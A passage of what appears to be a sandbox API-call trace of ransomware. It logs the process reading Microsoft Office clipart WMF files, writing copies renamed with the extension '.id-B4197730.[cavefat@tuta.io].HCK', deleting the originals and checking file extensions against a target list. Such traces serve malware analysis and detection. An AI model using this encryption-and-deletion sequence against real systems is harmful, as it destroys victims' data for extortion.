hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3796) returned 1 [0158.090] CloseHandle (hObject=0x390) returned 1 [0158.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220 [0158.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.090] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.090] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.091] GetLastError () returned 0x0 [0158.091] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xed4, lpOverlapped=0x0) returned 1 [0158.092] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xee0, lpOverlapped=0x0) returned 1 [0158.093] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.093] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.093] SetEndOfFile (hFile=0x380) returned 1 [0158.093] CloseHandle (hObject=0x380) returned 1 [0158.094] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.094] SetEndOfFile (hFile=0x390) returned 1 [0158.094] CloseHandle (hObject=0x390) returned 1 [0158.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0158.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0158.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0158.095] lstrlenW (lpString=".doc") returned 4 [0158.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.095] lstrlenW (lpString=".docx") returned 5 [0158.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.095] lstrlenW (lpString=".pdf") returned 4 [0158.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.095] lstrlenW (lpString=".xls") returned 4 [0158.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.095] lstrlenW (lpString=".xlsx") returned 5 [0158.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.095] lstrlenW (lpString=".ppt") returned 4 [0158.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0158.095] lstrlenW (lpString=".zip") returned 4 [0158.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.095] lstrlenW (lpString=".rar") returned 4 [0158.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.095] lstrlenW (lpString=".bz2") returned 4 [0158.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.095] lstrlenW (lpString=".7z") returned 3 [0158.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0158.095] lstrlenW (lpString=".dbf") returned 4 [0158.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0158.096] lstrlenW (lpString=".1cd") returned 4 [0158.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0158.096] lstrlenW (lpString=".jpg") returned 4 [0158.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0158.096] lstrlenW (lpString=".doc") returned 4 [0158.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString=".docx") returned 5 [0158.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.096] lstrlenW (lpString=".pdf") returned 4 [0158.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString=".xls") returned 4 [0158.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.096] lstrlenW (lpString=".xlsx") returned 5 [0158.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.096] lstrlenW (lpString=".ppt") returned 4 [0158.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0158.096] lstrlenW (lpString=".zip") returned 4 [0158.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.096] lstrlenW (lpString=".rar") returned 4 [0158.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString=".bz2") returned 4 [0158.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString=".7z") returned 3 [0158.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0158.096] lstrlenW (lpString=".dbf") returned 4 [0158.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0158.096] lstrlenW (lpString=".1cd") returned 4 [0158.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0158.096] lstrlenW (lpString=".jpg") returned 4 [0158.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.096] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.096] lstrlenW (lpString="DD01179_.WMF") returned 12 [0158.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.097] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2024) returned 1 [0158.097] CloseHandle (hObject=0x390) returned 1 [0158.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220 [0158.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.097] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.097] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.097] GetLastError () returned 0x0 [0158.097] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7e8, lpOverlapped=0x0) returned 1 [0158.099] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0158.099] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.099] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.099] SetEndOfFile (hFile=0x380) returned 1 [0158.100] CloseHandle (hObject=0x380) returned 1 [0158.100] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.100] SetEndOfFile (hFile=0x390) returned 1 [0158.101] CloseHandle (hObject=0x390) returned 1 [0158.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0158.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0158.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0158.102] lstrlenW (lpString=".doc") returned 4 [0158.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString=".docx") returned 5 [0158.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.102] lstrlenW (lpString=".pdf") returned 4 [0158.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString=".xls") returned 4 [0158.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.102] lstrlenW (lpString=".xlsx") returned 5 [0158.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.102] lstrlenW (lpString=".ppt") returned 4 [0158.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0158.102] lstrlenW (lpString=".zip") returned 4 [0158.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.102] lstrlenW (lpString=".rar") returned 4 [0158.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString=".bz2") returned 4 [0158.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString=".7z") returned 3 [0158.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0158.102] lstrlenW (lpString=".dbf") returned 4 [0158.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0158.102] lstrlenW (lpString=".1cd") returned 4 [0158.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0158.102] lstrlenW (lpString=".jpg") returned 4 [0158.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0158.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0158.102] lstrlenW (lpString=".doc") returned 4 [0158.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString=".docx") returned 5 [0158.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.102] lstrlenW (lpString=".pdf") returned 4 [0158.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString=".xls") returned 4 [0158.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.102] lstrlenW (lpString=".xlsx") returned 5 [0158.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.102] lstrlenW (lpString=".ppt") returned 4 [0158.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0158.102] lstrlenW (lpString=".zip") returned 4 [0158.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.103] lstrlenW (lpString=".rar") returned 4 [0158.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.103] lstrlenW (lpString=".bz2") returned 4 [0158.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.103] lstrlenW (lpString=".7z") returned 3 [0158.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0158.103] lstrlenW (lpString=".dbf") returned 4 [0158.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0158.103] lstrlenW (lpString=".1cd") returned 4 [0158.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0158.103] lstrlenW (lpString=".jpg") returned 4 [0158.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.103] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.103] lstrlenW (lpString="DD01180_.WMF") returned 12 [0158.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.104] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2084) returned 1 [0158.104] CloseHandle (hObject=0x390) returned 1 [0158.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220 [0158.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.104] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.104] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.104] GetLastError () returned 0x0 [0158.104] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x824, lpOverlapped=0x0) returned 1 [0158.105] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x830, lpOverlapped=0x0) returned 1 [0158.106] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.106] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.106] SetEndOfFile (hFile=0x380) returned 1 [0158.106] CloseHandle (hObject=0x380) returned 1 [0158.107] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.107] SetEndOfFile (hFile=0x390) returned 1 [0158.108] CloseHandle (hObject=0x390) returned 1 [0158.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0158.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0158.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0158.115] lstrlenW (lpString=".doc") returned 4 [0158.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.115] lstrlenW (lpString=".docx") returned 5 [0158.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.115] lstrlenW (lpString=".pdf") returned 4 [0158.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.115] lstrlenW (lpString=".xls") returned 4 [0158.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.115] lstrlenW (lpString=".xlsx") returned 5 [0158.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.115] lstrlenW (lpString=".ppt") returned 4 [0158.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0158.115] lstrlenW (lpString=".zip") returned 4 [0158.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.115] lstrlenW (lpString=".rar") returned 4 [0158.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.115] lstrlenW (lpString=".bz2") returned 4 [0158.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.115] lstrlenW (lpString=".7z") returned 3 [0158.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0158.115] lstrlenW (lpString=".dbf") returned 4 [0158.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0158.115] lstrlenW (lpString=".1cd") returned 4 [0158.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0158.115] lstrlenW (lpString=".jpg") returned 4 [0158.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0158.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0158.115] lstrlenW (lpString=".doc") returned 4 [0158.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.115] lstrlenW (lpString=".docx") returned 5 [0158.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.115] lstrlenW (lpString=".pdf") returned 4 [0158.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.115] lstrlenW (lpString=".xls") returned 4 [0158.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.115] lstrlenW (lpString=".xlsx") returned 5 [0158.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.116] lstrlenW (lpString=".ppt") returned 4 [0158.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0158.116] lstrlenW (lpString=".zip") returned 4 [0158.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.116] lstrlenW (lpString=".rar") returned 4 [0158.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.116] lstrlenW (lpString=".bz2") returned 4 [0158.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.116] lstrlenW (lpString=".7z") returned 3 [0158.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0158.116] lstrlenW (lpString=".dbf") returned 4 [0158.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0158.116] lstrlenW (lpString=".1cd") returned 4 [0158.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0158.116] lstrlenW (lpString=".jpg") returned 4 [0158.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.116] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.116] lstrlenW (lpString="DD01181_.WMF") returned 12 [0158.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.116] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1448) returned 1 [0158.116] CloseHandle (hObject=0x390) returned 1 [0158.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220 [0158.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft 